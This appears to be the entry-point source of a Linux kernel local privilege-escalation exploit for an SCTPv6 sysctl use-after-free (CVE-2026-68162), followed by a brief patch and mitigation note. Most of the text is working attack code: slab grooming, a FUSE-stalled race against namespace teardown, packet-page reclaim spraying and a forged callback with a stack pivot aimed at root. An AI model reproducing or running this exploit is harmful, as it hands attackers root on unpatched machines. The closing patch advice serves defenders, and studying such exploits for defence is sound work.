child_stacks = mmap(NULL, (size_t)CHILD_STACK * CHILDREN,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
if (controls == MAP_FAILED || child_stacks == MAP_FAILED)
die("mmap namespace farm");
spray_sync = mmap(NULL, sizeof(*spray_sync), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (spray_sync == MAP_FAILED)
die("mmap spray sync");
atomic_init(&spray_sync->go, 0);
atomic_init(&spray_sync->ready, 0);
atomic_init(&spray_sync->progress, 0);
if (socketpair(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0, rights_sock) < 0)
die("socketpair rights: %s", strerror(errno));
/* This direct protocol socket is the stock request_module path. */
preload = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132);
if (preload < 0)
die("natural SCTP autoload: %s", strerror(errno));
close(preload);
/* Fill old freelists and allocate twelve full same-type slabs. */
for (int i = 0; i < GROOM_SOCKETS; i++) {
groom_fds[i] = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132);
if (groom_fds[i] < 0)
die("SCTPv6 groom socket %d: %s", i, strerror(errno));
}
/* Forty consecutive control sockets contain at least one complete
* 20-object slab regardless of the first slot's unknown alignment. */
create_namespace_farm();
for (int i = 0; i < POST_SOCKETS; i++) {
post_fds[i] = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132);
if (post_fds[i] < 0)
die("SCTPv6 post socket %d: %s", i, strerror(errno));
}
for (int i = 0; i < CHILDREN; i++) {
target_fds[i] = -1;
command_child(i, CMD_OPEN);
}
while (target_count < CHILDREN) {
int index;
int fd = receive_one_fd(rights_sock[0], &index);
if (index < 0 || index >= CHILDREN || target_fds[index] >= 0)
die("unexpected sysctl rights child %d", index);
target_fds[index] = fd;
target_count++;
}
printf("[+] retained auth_enable descriptors for %d victims\n",
CHILDREN);
/* Free one ordinary socket from each of twelve earlier slabs. These
* partial slabs put the node above min_partial before a victim-only slab
* becomes completely empty. */
for (int i = 0; i < GROOM_SOCKETS; i += TARGET_STRIDE) {
close(groom_fds[i]);
groom_fds[i] = -1;
}
/* These frees are endpoint-RCU deferred. They must reach the partial
* list before the victim-only slabs become empty, otherwise SLUB retains
* those empty slabs below min_partial instead of returning their pages. */
sleep(RCU_WAIT_SECONDS);
printf("[+] filled SCTPv6 and seeded %d distinct partial slabs\n",
GROOM_SOCKETS / TARGET_STRIDE);
pivot = KERNEL_BASE + kernel_slide + OFF_STACK_PIVOT;
rop_pivot = pivot;
for (size_t i = 0; i < sizeof(cea_payload.q) / sizeof(cea_payload.q[0]); i++)
cea_payload.q[i] = pivot;
prepare_fault_stall(&fuse_thread);
atomic_init(&stalled_ready, 0);
atomic_init(&writer_launch, 0);
atomic_init(&writers_entered, 0);
atomic_init(&writers_stop, 0);
if (pthread_attr_init(&stalled_attr) ||
pthread_attr_setstacksize(&stalled_attr, 64 * 1024))
die("configure stalled writer stack");
for (int i = 0; i < CHILDREN; i++) {
writer_arguments[i].fd = target_fds[i];
writer_arguments[i].index = i;
if (pthread_create(&stalled_threads[i], &stalled_attr,
stalled_writer_thread,
&writer_arguments[i]))
die("pthread_create stalled writer %d", i);
}
pthread_attr_destroy(&stalled_attr);
while (atomic_load_explicit(&stalled_ready, memory_order_acquire) < CHILDREN)
usleep(1000);
/* Exit a dense namespace cohort so cleanup_net sees multiple complete
* victim-only SCTPv6 slabs even if it drains the exit list in batches. */
for (int i = 0; i < CHILDREN; i++)
command_child(i, CMD_EXIT);
/* Race the per-fd writers as soon as teardown is queued, rather than after
* waitpid has reaped the entire cohort. Writers that enter before
* sctp_ctrlsock_exit() remain harmlessly live; writers entering between
* that callback and sctp_defaults_exit() stall before reloading ctl_sock
* and retain the vulnerable UAF window. */
atomic_store_explicit(&writer_launch, 1, memory_order_release);
futex_wake_all(&writer_launch);
wait_until_not(&fault_sync.seen, 0);
for (int i = 0; i < CHILDREN; i++) {
int status;
if (waitpid(controls[i].pid, &status, 0) != controls[i].pid ||
!WIFEXITED(status) || WEXITSTATUS(status))
die("victim child %d exit status %#x", i, status);
}
packet_spray_pid = fork();
if (packet_spray_pid < 0)
die("fork packet spray: %s", strerror(errno));
if (!packet_spray_pid)
packet_spray_process(pivot);
wait_until_not(&spray_sync->ready, 0);
/* waitpid returns before asynchronous cleanup_net completes. */
printf("[+] cleanup raced against %d launched sysctl calls\n",
atomic_load_explicit(&writers_entered, memory_order_acquire));
/* Socket destruction is RCU-deferred. Keep the vulnerable handlers
* stalled until full victim slabs have reached the buddy allocator. */
sleep(RCU_WAIT_SECONDS);
/* Cycle the SCTPv6 per-CPU freelist after the target sockets' RCU frees.
* Without this pass, completely free target slabs can remain hidden as
* the CPU slab and never reach the node partial list/buddy allocator. */
for (int pass = 0; pass < RECYCLE_PASSES; pass++) {
for (int i = 0; i < 2; i++)
if (pthread_create(&recycler_threads[i], NULL,
recycle_sctpv6_cpu, &recycler_cpus[i]))
die("pthread_create CPU%d recycler", recycler_cpus[i]);
for (int i = 0; i < 2; i++)
(void)pthread_join(recycler_threads[i], NULL);
/* Each pass's sockets are RCU-freed. A second pass rotates out
* whichever empty slab remained as the CPU slab after the first. */
sleep(RCU_WAIT_SECONDS);
printf("[+] completed SCTPv6 dual-CPU recycle pass %d/%d\n",
pass + 1, RECYCLE_PASSES);
}
/* Seed only after the long RCU/recycle phase, then keep the dedicated
* CPU1 task spinning until the callback fires. The readiness pipe makes
* this independent of scheduler latency from the large writer cohort. */
if (pipe2(seeder_ready, O_CLOEXEC) < 0)
die("pipe CEA seeder: %s", strerror(errno));
for (int i = 0; i < CEA_SEEDER_COUNT; i++) {
cea_seeder_pids[i] = fork();
if (cea_seeder_pids[i] < 0)
die("fork CEA seeder %d: %s", i, strerror(errno));
if (!cea_seeder_pids[i]) {
close(seeder_ready[0]);
run_cea_seeder(seeder_ready[1]);
}
}
close(seeder_ready[1]);
for (int i = 0; i < CEA_SEEDER_COUNT; i++)
if (read(seeder_ready[0], &seeder_byte, 1) != 1 ||
seeder_byte != 'S')
die("CEA seeder %d failed to become runnable", i);
close(seeder_ready[0]);
/* Both spray and CEA processes were forked after prepare_user_return(),
* which re-protected the private anonymous stack pages for COW. Break
* that COW now so post_root's first push cannot fault while returning
* from a callback with the socket lock's preempt count still elevated. */
memset(user_stack, 0, 0x20000);
/* Allow at least one local timer interrupt to save the payload. */
usleep(300000);
atomic_store_explicit(&spray_sync->go, 1, memory_order_release);
futex_wake_all(&spray_sync->go);
while (atomic_load_explicit(&spray_sync->progress,
memory_order_acquire) < RING_COUNT)
usleep(1000);
/* Packet pages now permanently own every victim slab that reached the
* buddy allocator. Refill the residual SCTPv6 freelists with live,
* same-type sockets and retain them: a stalled handler whose old object
* never left SLUB then sees a valid endpoint/proto and returns harmlessly,
* while an object backed by a reclaimed packet page still reaches the
* forged callback. */
for (int i = 0; i < 2; i++)
if (pthread_create(&recycler_threads[i], NULL,
retain_sctpv6_guards_cpu, &recycler_cpus[i]))
die("pthread_create CPU%d guard", recycler_cpus[i]);
for (int i = 0; i < 2; i++)
(void)pthread_join(recycler_threads[i], NULL);
printf("[+] retained %d live SCTPv6 guard sockets\n",
2 * GUARD_SOCKETS_PER_CPU);
puts("[+] reclaim spray complete; resuming stalled handler");
sleep(1);
{
unsigned char page[4096] = { '1', '\n' };
int queued = atomic_load_explicit(&fault_sync.seen,
memory_order_acquire);
printf("[+] resolving %d isolated stalled sysctl candidates\n", queued);
/* Later arrivals are the handlers most likely to have sampled the raw
* control-socket pointer inside the teardown window. Release only one
* FUSE page at a time. A winning iret replaces this process; all other
* pages remain blocked and are aborted by post_root(). */
for (int position = 0; position < queued; position++) {
int index = fault_sync.order[position];
uint64_t unique = atomic_load_explicit(
&fault_sync.unique[index], memory_order_acquire);
if (!atomic_exchange_explicit(&fault_sync.pending[index], 0,
memory_order_acq_rel))
continue;
fuse_reply(unique, page, sizeof(page));
for (int tick = 0; tick < 200; tick++) {
if (atomic_load_explicit(&fault_sync.done[index],
memory_order_acquire))
break;
usleep(1000);
}
}
}
atomic_store(&writers_stop, 1);
kill(packet_spray_pid, SIGKILL);
for (int i = 0; i < CEA_SEEDER_COUNT; i++)
kill(cea_seeder_pids[i], SIGKILL);
(void)umount2("/tmp/_neb-fuse", MNT_DETACH);
close(fault_sync.fuse_fd);
(void)pthread_join(fuse_thread, NULL);
for (int i = 0; i < CHILDREN; i++)
(void)pthread_join(stalled_threads[i], NULL);
die("stalled CFH completed without root");
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in July 2026. The corrected teardown ordering and lifetime handling prevent settings writes from reaching a released socket. Upgrade to the Ubuntu kernel containing the July 2026 fix; disabling SCTP in unpatched, namespace-heavy environments can reduce exposure.
The safest check is the distribution’s own kernel changelog for CVE-2026-68162;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
